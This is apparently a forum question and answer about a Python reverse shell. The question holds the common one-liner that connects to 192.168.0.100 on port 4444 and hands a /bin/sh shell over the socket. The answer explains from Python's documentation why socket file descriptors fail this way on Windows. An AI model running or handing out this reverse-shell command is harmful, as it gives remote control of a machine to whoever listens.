Python Reverse shell
Question: I am trying to get a reverse shell from a windows machine (python installed).
Is there a short script to do that?

I tried using the following script:

    
    
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    

All the attempts failed, giving out the following error:

    
    
    Errno 9:Bad file descriptor
    

Any help would be appreciated.


Answer: Your code won't work on Windows (but you already knew that).

Here is the documentation saying that it won't work:

> Under Windows the small integer returned by this method cannot be used where
> a file descriptor can be used (such as os.fdopen()).
>
> <https://docs.python.org/2/library/socket.html#socket.socket.fileno>

